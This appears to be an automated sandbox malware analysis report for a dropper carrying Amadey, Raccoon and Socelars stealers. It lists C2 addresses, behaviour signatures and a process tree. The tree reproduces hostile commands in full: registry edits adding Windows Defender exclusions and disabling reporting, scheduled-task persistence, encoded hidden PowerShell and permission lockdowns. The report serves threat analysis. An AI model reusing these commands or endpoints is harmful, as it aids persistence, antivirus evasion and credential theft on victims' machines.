Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-01-2023 21:02

General

  • Target

    file.exe

  • Size

    4.5MB

  • MD5

    45808a630c51b487ada4b470be9b5964

  • SHA1

    527185ffef9e41a671ee637a82df9e5a43a296ca

  • SHA256

    ba36d04cdfbdd729450db17a6f0b8b953ca8b91aefb9d56a71e58864c8e0fb61

  • SHA512

    34b655f964e43f6267362b4e9b5915351b2c23d5ce81a21e3db1140fdf451248bead299d8e3bbd2d99d1972275f28a88d666f4a94a9e2d8ceb2ac7ae12d90559

  • SSDEEP

    98304:1IiEg/+jaTrBfR2CNgPAtBlycENpYp7O9xs:1o22CNgzcEPU7Ov

Malware Config

Extracted

Family

amadey

Version

3.65

C2

77.73.134.27/8bmdh3Slb2/index.php

Extracted

Family

raccoon

Botnet

04f8fa0bf52b1b98a127f6deeac54f84

C2

http://94.131.3.70/

http://83.217.11.11/

http://83.217.11.13/

http://83.217.11.14/

http://45.15.156.222/

rc4.plain

Extracted

Family

socelars

C2

https://hdbywe.s3.us-west-2.amazonaws.com/sdfeas18/

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Raccoon

    Raccoon is an infostealer written in C++ and first seen in 2019.

  • Socelars

    Socelars is an infostealer targeting browser cookies and credit card credentials.

  • Socelars payload 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 3 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 20 IoCs
  • VMProtect packed file 3 IoCs

    Detects executables packed with VMProtect commercial packer.

  • Checks BIOS information in registry 2 TTPs 8 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 9 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 8 IoCs
  • Modifies file permissions 1 TTPs 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 9 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 3 IoCs
  • Drops Chrome extension 1 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Drops file in System32 directory 27 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Drops file in Program Files directory 31 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 3 IoCs
  • Creates scheduled task(s) 1 TTPs 14 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 10 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 39 IoCs
  • Suspicious use of FindShellTrayWindow 52 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1352
    • C:\Users\Admin\AppData\Local\Temp\Player3.exe
      "C:\Users\Admin\AppData\Local\Temp\Player3.exe"
      2⤵
      • Executes dropped EXE
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:536
      • C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe
        "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe"
        3⤵
        • Executes dropped EXE
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1500
        • C:\Windows\SysWOW64\schtasks.exe
          "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN nbveek.exe /TR "C:\Users\Admin\AppData\Local\Temp\16de06bfb4\nbveek.exe" /F
          4⤵
          • Creates scheduled task(s)
          PID:5012
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\System32\cmd.exe" /k echo Y|CACLS "nbveek.exe" /P "Admin:N"&&CACLS "nbveek.exe" /P "Admin:R" /E&&echo Y|CACLS "..\16de06bfb4" /P "Admin:N"&&CACLS "..\16de06bfb4" /P "Admin:R" /E&&Exit
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Windows\SysWOW64\cacls.exe
            CACLS "nbveek.exe" /P "Admin:N"
            5⤵
              PID:1808
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /S /D /c" echo Y"
              5⤵
                PID:4216
              • C:\Windows\SysWOW64\cacls.exe
                CACLS "nbveek.exe" /P "Admin:R" /E
                5⤵
                  PID:4936
                • C:\Windows\SysWOW64\cmd.exe
                  C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                  5⤵
                    PID:2424
                  • C:\Windows\SysWOW64\cacls.exe
                    CACLS "..\16de06bfb4" /P "Admin:N"
                    5⤵
                      PID:3920
                    • C:\Windows\SysWOW64\cacls.exe
                      CACLS "..\16de06bfb4" /P "Admin:R" /E
                      5⤵
                        PID:1792
                    • C:\Users\Admin\AppData\Local\Temp\1000040001\pb1111.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000040001\pb1111.exe"
                      4⤵
                      • Executes dropped EXE
                      PID:396
                    • C:\Users\Admin\AppData\Local\Temp\1000042001\handdiy_1.exe
                      "C:\Users\Admin\AppData\Local\Temp\1000042001\handdiy_1.exe"
                      4⤵
                      • Executes dropped EXE
                      • Drops file in Program Files directory
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:4848
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd.exe /c taskkill /f /im chrome.exe
                        5⤵
                        • Suspicious use of WriteProcessMemory
                        PID:3372
                        • C:\Windows\SysWOW64\taskkill.exe
                          taskkill /f /im chrome.exe
                          6⤵
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:764
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe"
                        5⤵
                        • Enumerates system info in registry
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                        • Suspicious use of FindShellTrayWindow
                        • Suspicious use of SendNotifyMessage
                        PID:5072
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffc47fa4f50,0x7ffc47fa4f60,0x7ffc47fa4f70
                          6⤵
                            PID:2628
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1684 /prefetch:2
                            6⤵
                              PID:2588
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1956 /prefetch:8
                              6⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:4404
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2240 /prefetch:8
                              6⤵
                                PID:652
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2856 /prefetch:1
                                6⤵
                                  PID:3036
                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2948 /prefetch:1
                                  6⤵
                                    PID:4584
                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2092 /prefetch:1
                                    6⤵
                                      PID:4164
                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3688 /prefetch:1
                                      6⤵
                                        PID:3344
                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4644 /prefetch:8
                                        6⤵
                                          PID:3996
                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5028 /prefetch:8
                                          6⤵
                                            PID:1484
                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5256 /prefetch:8
                                            6⤵
                                              PID:3532
                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5396 /prefetch:8
                                              6⤵
                                                PID:4752
                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5532 /prefetch:8
                                                6⤵
                                                  PID:1280
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5972 /prefetch:8
                                                  6⤵
                                                  • Suspicious behavior: EnumeratesProcesses
                                                  PID:3600
                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5444 /prefetch:8
                                                  6⤵
                                                    PID:3728
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5056 /prefetch:8
                                                    6⤵
                                                    • Suspicious behavior: EnumeratesProcesses
                                                    PID:620
                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5360 /prefetch:8
                                                    6⤵
                                                      PID:3732
                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5240 /prefetch:8
                                                      6⤵
                                                        PID:3996
                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5400 /prefetch:8
                                                        6⤵
                                                          PID:3536
                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --disable-gpu-compositing --lang=en-US --extension-process --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5856 /prefetch:1
                                                          6⤵
                                                            PID:4316
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5316 /prefetch:8
                                                            6⤵
                                                            • Suspicious behavior: EnumeratesProcesses
                                                            PID:4076
                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=5276 /prefetch:8
                                                            6⤵
                                                              PID:1208
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5536 /prefetch:8
                                                              6⤵
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              PID:3744
                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2528 /prefetch:8
                                                              6⤵
                                                                PID:4512
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2556 /prefetch:8
                                                                6⤵
                                                                  PID:384
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1656,2098009809291006851,15223257788741406556,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4964 /prefetch:8
                                                                  6⤵
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:4764
                                                            • C:\Users\Admin\AppData\Local\Temp\1000043001\random.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1000043001\random.exe"
                                                              4⤵
                                                              • Executes dropped EXE
                                                              • Checks computer location settings
                                                              • Suspicious use of WriteProcessMemory
                                                              PID:976
                                                              • C:\Users\Admin\AppData\Local\Temp\1000043001\random.exe
                                                                "C:\Users\Admin\AppData\Local\Temp\1000043001\random.exe" -h
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:3192
                                                            • C:\Users\Admin\AppData\Local\Temp\1000045001\setup.exe
                                                              "C:\Users\Admin\AppData\Local\Temp\1000045001\setup.exe"
                                                              4⤵
                                                              • Executes dropped EXE
                                                              PID:1224
                                                              • C:\Users\Admin\AppData\Local\Temp\7zS271.tmp\Install.exe
                                                                .\Install.exe
                                                                5⤵
                                                                • Executes dropped EXE
                                                                PID:5040
                                                                • C:\Users\Admin\AppData\Local\Temp\7zS714.tmp\Install.exe
                                                                  .\Install.exe /S /site_id "385107"
                                                                  6⤵
                                                                  • Executes dropped EXE
                                                                  • Checks BIOS information in registry
                                                                  • Checks computer location settings
                                                                  • Drops file in System32 directory
                                                                  • Enumerates system info in registry
                                                                  PID:3412
                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
                                                                    7⤵
                                                                      PID:4712
                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
                                                                        8⤵
                                                                          PID:4064
                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
                                                                            9⤵
                                                                              PID:3924
                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
                                                                              9⤵
                                                                                PID:4488
                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
                                                                            7⤵
                                                                              PID:4560
                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
                                                                                8⤵
                                                                                  PID:1836
                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                                                                                    9⤵
                                                                                      PID:1088
                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                                                                                      9⤵
                                                                                        PID:1620
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /CREATE /TN "gpYZgDThj" /SC once /ST 07:50:12 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                    7⤵
                                                                                    • Creates scheduled task(s)
                                                                                    PID:3728
                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                    schtasks /run /I /tn "gpYZgDThj"
                                                                                    7⤵
                                                                                      PID:1020
                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                      schtasks /DELETE /F /TN "gpYZgDThj"
                                                                                      7⤵
                                                                                        PID:4848
                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                        schtasks /CREATE /TN "bnNSajhVxJSdGghoLZ" /SC once /ST 21:04:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\FomiwILaecWgGNOLA\UxpymuaMygfozov\NbuyrFd.exe\" kl /site_id 385107 /S" /V1 /F
                                                                                        7⤵
                                                                                        • Drops file in Windows directory
                                                                                        • Creates scheduled task(s)
                                                                                        PID:2452
                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                  "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
                                                                                  4⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:4572
                                                                                  • C:\Windows\system32\rundll32.exe
                                                                                    "C:\Windows\System32\rundll32.exe" C:\Users\Admin\AppData\Roaming\07c6bc37dc5087\cred64.dll, Main
                                                                                    5⤵
                                                                                    • Loads dropped DLL
                                                                                    PID:4424
                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                      C:\Windows\system32\WerFault.exe -u -p 4424 -s 680
                                                                                      6⤵
                                                                                      • Program crash
                                                                                      PID:3732
                                                                            • C:\Users\Admin\AppData\Local\Temp\birge.exe
                                                                              "C:\Users\Admin\AppData\Local\Temp\birge.exe"
                                                                              2⤵
                                                                              • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                              • Executes dropped EXE
                                                                              • Checks BIOS information in registry
                                                                              • Checks computer location settings
                                                                              • Loads dropped DLL
                                                                              • Checks whether UAC is enabled
                                                                              • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:620
                                                                              • C:\Users\Admin\AppData\Roaming\W8xBG2CB.exe
                                                                                "C:\Users\Admin\AppData\Roaming\W8xBG2CB.exe"
                                                                                3⤵
                                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                                • Executes dropped EXE
                                                                                • Checks BIOS information in registry
                                                                                • Checks computer location settings
                                                                                • Checks whether UAC is enabled
                                                                                PID:1088
                                                                                • C:\Windows\System32\schtasks.exe
                                                                                  "C:\Windows\System32\schtasks.exe" /CREATE /TN "2.5.5.Microsoft.NET\AgentActivationRuntime2.5.5.\IntelPalnt2.5.5." /TR "C:\ProgramData\Mslprojector\WlndowsDraiver-Ver2.5.5.8.exe" /SC MINUTE
                                                                                  4⤵
                                                                                  • Creates scheduled task(s)
                                                                                  PID:772
                                                                                • C:\Windows\System32\icacls.exe
                                                                                  "C:\Windows\System32\icacls.exe" "C:\ProgramData\Mslprojector" /inheritance:e /deny "*S-1-1-0:(R,REA,RA,RD)"
                                                                                  4⤵
                                                                                  • Modifies file permissions
                                                                                  PID:620
                                                                                • C:\Windows\System32\icacls.exe
                                                                                  "C:\Windows\System32\icacls.exe" "C:\ProgramData\Mslprojector" /inheritance:e /deny "*S-1-5-7:(R,REA,RA,RD)"
                                                                                  4⤵
                                                                                  • Modifies file permissions
                                                                                  PID:828
                                                                                • C:\Windows\System32\icacls.exe
                                                                                  "C:\Windows\System32\icacls.exe" "C:\ProgramData\Mslprojector" /inheritance:e /deny "admin:(R,REA,RA,RD)"
                                                                                  4⤵
                                                                                  • Modifies file permissions
                                                                                  PID:2012
                                                                              • C:\Users\Admin\AppData\Roaming\nEzF0Hw6.exe
                                                                                "C:\Users\Admin\AppData\Roaming\nEzF0Hw6.exe"
                                                                                3⤵
                                                                                • Executes dropped EXE
                                                                                PID:4620
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /C choice /C Y /N /D Y /T 0 &Del C:\Users\Admin\AppData\Roaming\nEzF0Hw6.exe
                                                                                  4⤵
                                                                                    PID:1996
                                                                                    • C:\Windows\system32\choice.exe
                                                                                      choice /C Y /N /D Y /T 0
                                                                                      5⤵
                                                                                        PID:1296
                                                                                • C:\Users\Admin\AppData\Local\Temp\zhangfan.exe
                                                                                  "C:\Users\Admin\AppData\Local\Temp\zhangfan.exe"
                                                                                  2⤵
                                                                                  • Executes dropped EXE
                                                                                  • Checks computer location settings
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:2892
                                                                                  • C:\Users\Admin\AppData\Local\Temp\zhangfan.exe
                                                                                    "C:\Users\Admin\AppData\Local\Temp\zhangfan.exe" -h
                                                                                    3⤵
                                                                                    • Executes dropped EXE
                                                                                    PID:3592
                                                                              • C:\Windows\system32\rundll32.exe
                                                                                rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                                1⤵
                                                                                • Process spawned unexpected child process
                                                                                • Suspicious use of WriteProcessMemory
                                                                                PID:4712
                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                                  2⤵
                                                                                  • Loads dropped DLL
                                                                                  PID:4824
                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4824 -s 600
                                                                                    3⤵
                                                                                    • Program crash
                                                                                    PID:824
                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 4824 -ip 4824
                                                                                1⤵
                                                                                  PID:2368
                                                                                • C:\Windows\system32\rundll32.exe
                                                                                  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                                  1⤵
                                                                                  • Process spawned unexpected child process
                                                                                  • Suspicious use of WriteProcessMemory
                                                                                  PID:732
                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\db.dll",open
                                                                                    2⤵
                                                                                    • Loads dropped DLL
                                                                                    PID:1228
                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 600
                                                                                      3⤵
                                                                                      • Program crash
                                                                                      PID:1728
                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 412 -p 1228 -ip 1228
                                                                                  1⤵
                                                                                    PID:1788
                                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                    1⤵
                                                                                      PID:1352
                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                      1⤵
                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                      PID:5012
